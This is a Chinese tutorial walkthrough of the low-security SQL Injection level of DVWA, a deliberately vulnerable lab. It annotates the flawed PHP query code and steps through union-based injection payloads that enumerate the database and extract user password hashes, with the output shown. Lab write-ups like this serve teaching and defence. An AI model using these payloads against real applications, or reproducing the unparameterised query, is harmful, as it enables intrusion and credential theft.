目录
DVWA(Damn Vulnerable Web Application)中的 SQL Injection 关卡是用于练习和演示 SQL 注入攻击的不同场景,不同安全等级存在不同的脆弱点和绕过方法,本小节对低等级别的关卡进行渗透实战。
一、SQL Injection
SQL 注入(SQL Injection)是指攻击者通过在应用程序的输入字段中插入恶意 SQL 代码,从而执行非预期的数据库操作,使用联合注入方法的渗透步骤如下表所示。
步骤 | 目标 | 方法 |
---|---|---|
确认注入点 | 判断是否存在注入 | 输入逻辑表达式(如 1 OR 1=1 ),观察页面响应差异 |
确定字段数 | 推断查询的列数量 | 使用 ORDER BY N 递增测试,直至页面报错 |
寻找回显位置 | 定位可显示数据的字段 | 使用 UNION SELECT NULL,... 逐个替换为数字,观察页面显示内容 |
枚举数据库信息 | 子步骤 | 技术手段 |
1. 获取当前数据库名 | SELECT database() | |
2. 枚举所有数据库 | SELECT schema_name FROM information_schema.schemata | |
3. 获取目标表名 | SELECT table_name FROM information_schema.tables WHERE table_schema='db_name' | |
4. 获取目标列名 | SELECT column_name FROM information_schema.columns WHERE table_name='tbl_name' | |
5. 提取数据内容 | SELECT col1,col2 FROM tbl_name |
二、代码审计(low级别)
1、源码分析
(1)index.php
进入DVWA靶场源目录,找到index.php源码。
这段代码实现了
这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL 注入攻击演示页面的主控制器,主要功能包括:
- 环境初始化:设置页面路径、验证用户身份、连接数据库。
- 安全级别控制:根据用户 Cookie 中的安全级别设置(低、中、高、不可能),加载不同的实现文件。这些文件包含不同防护级别的 SQL 查询代码,用于演示不同难度的 SQL 注入场景。
- 表单生成:根据安全级别动态生成不同的用户输入表单(低级、中级、高级、不可能共4个级别)
- 环境检测:检查 PHP 配置中的魔术引号和安全模式,提供环境安全提示。
- 结果展示:将 SQL 查询结果和安全参考资料链接整合到页面中。
经过注释后的详细代码如下所示。
<?php
// 定义网站根目录路径常量,并引入页面处理工具
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
// 初始化页面,验证用户认证状态并启动PHPIDS防护模块
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
// 创建新页面实例并设置页面元信息
$page = dvwaPageNewGrab();
$page[ 'title' ] = 'Vulnerability: SQL Injection' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'sqli';
$page[ 'help_button' ] = 'sqli';
$page[ 'source_button' ] = 'sqli';
// 连接数据库
dvwaDatabaseConnect();
// 设置表单提交方式和不同等级的文件
$method = 'GET';
$vulnerabilityFile = '';
// 根据安全级别Cookie选择不同的等级的实现文件
switch( $_COOKIE[ 'security' ] ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
$method = 'POST'; // 中等级别使用POST方法
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php'; // 默认使用安全实现
break;
}
// 引入对应安全级别的SQL注入实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli/source/{$vulnerabilityFile}";
// 检查PHP环境配置并生成警告信息
$WarningHtml = '';
// 检测魔术引号是否开启(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测安全模式是否开启(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}
// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: SQL Injection</h1>
{$WarningHtml}
<div class=\"vulnerable_code_area\">";
// 高级安全级别使用JavaScript弹窗获取用户ID
if( $vulnerabilityFile == 'high.php' ) {
$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('session-input.php');return false;\">here to change your ID</a>.";
}
// 其他安全级别使用表单获取用户ID
else {
$page[ 'body' ] .= "
<form action=\"#\" method=\"{$method}\">
<p>
User ID:";
// 中等级别使用下拉菜单限制输入范围
if( $vulnerabilityFile == 'medium.php' ) {
$page[ 'body' ] .= "\n <select name=\"id\">";
// 动态生成下拉选项(基于数据库行数)
for( $i = 1; $i < $number_of_rows + 1 ; $i++ ) { $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
$page[ 'body' ] .= "</select>";
}
// 低级别和不可能级别使用文本框直接输入
else
$page[ 'body' ] .= "\n <input type=\"text\" size=\"15\" name=\"id\">";
$page[ 'body' ] .= "\n <input type=\"submit\" name=\"Submit\" value=\"Submit\">
</p>\n";
// 不可能级别添加CSRF令牌保护
if( $vulnerabilityFile == 'impossible.php' )
$page[ 'body' ] .= " " . tokenField();
$page[ 'body' ] .= "
</form>";
}
// 添加查询结果区域和安全参考资料链接
$page[ 'body' ] .= "
{$html} // 存储SQL查询结果的变量
</div>
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/SQL_Injection' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
</ul>
</div>\n";
// 输出HTML页面
dvwaHtmlEcho( $page );
?>
(2)low.php
进入DVWA靶场源目录,找到low.php源码。
打开源码low.php,分析可知这段代码实现了一个简单的用户信息查询功能,如下所示。
这段代码可能被黑客进行SQL注入攻击,具体原因如下所示。
- 通过表单接收用户输入的id参数,并未对参数进行任何过滤
- 将该参数直接拼接到 SQL 查询语句中,查询users表中的first_name和last_name
- 将查询结果展示给用户
详细注释后的代码如下所示。
<?php
// 检查是否通过表单提交数据
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// 获取用户输入的ID参数(直接取自GET/POST请求,未过滤)
$id = $_REQUEST[ 'id' ];
// 构建SQL查询语句(直接将用户输入拼接到SQL中)
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// 执行SQL查询(未使用预处理语句,直接执行拼接的SQL)
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 处理查询结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// 提取查询结果中的字段值
$first = $row["first_name"];
$last = $row["last_name"];
// 构建HTML输出(显示用户ID、名字和姓氏)
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
// 关闭数据库连接
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
2、渗透思路
(1)SQL安全问题分析
- 输入未过滤:直接使用$_REQUEST['id']获取用户输入,未进行任何过滤或转义。
- SQL 拼接:将用户输入直接拼接到 SQL 语句中,未使用预处理语句。
- 引号包围:SQL 语句使用单引号 (') 包围$id参数,攻击者可利用引号闭合原 SQL 语句。
(2)SQL渗透思路
原始SQL语句:SELECT first_name, last_name FROM users WHERE user_id = '$id';
闭合单引号:输入1' OR '1'='1
会导致 SQL 变为如下内容。
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';
由于'1'='1'恒为真,该查询会返回所有用户记录。
三、渗透准备
1、配置安全级别
配置security为低等low级别,如下图所示。
进入到SQL Injection关卡low页面,完整URL地址具体如下所示。
http://192.168.59.1/dvwa/vulnerabilities/sqli/
2、配置字符集
参考SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法-CSDN博客
为避免使用联合注入法时报错“Illegal mix of collations for operation 'UNION'”,修改dvwa数据库user表的first_name与last_name字符集,如下图所示。
修改dvwa数据库user表的password字符集,如下图所示。
四、渗透实战
1、判断注入类型
输入1',服务器回显出错,且回显信息中多了一个单引号,说明是字符型注入。
报错“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1”,效果如下所示。
2、获取字段数
输入1' order by 3#报错,如下所示。
通过输入1' order by 2#查询成功,如下所示。
综上所述,可判断出执行的 SQL 查询语句中只有两个字段。
3、获取当前数据库
输入-1' union select 1, 2#,判断回显位,如下所示1和2都限时成功,1和2这两个输出位置均为可用的回显位。
输入-1' union select database(), version()#,可得出当前使用的数据库为dvwa以及数据库版本信息。
4、获取数据库中的表
输入-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#,可得到数据库dvwa中的表名,如guestbook与users。
5、获取表中的字段名
输入-1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#,可获取users表的所有字段。
6、获取字段信息
输入-1' union select group_concat(user_id,first_name,last_name), group_concat( password) from users #,可获取用户信息和密码的 MD5 值,通过 MD5 解密网站可得到明文密码。
此次渗透获得的完整用户名和密码信息如下所示。
ID: -1' union select group_concat(user_id,first_name,last_name), group_concat( password) from users #
First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith
Surname: 81dc9bdb52d04dc20036dbd8313ed055,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99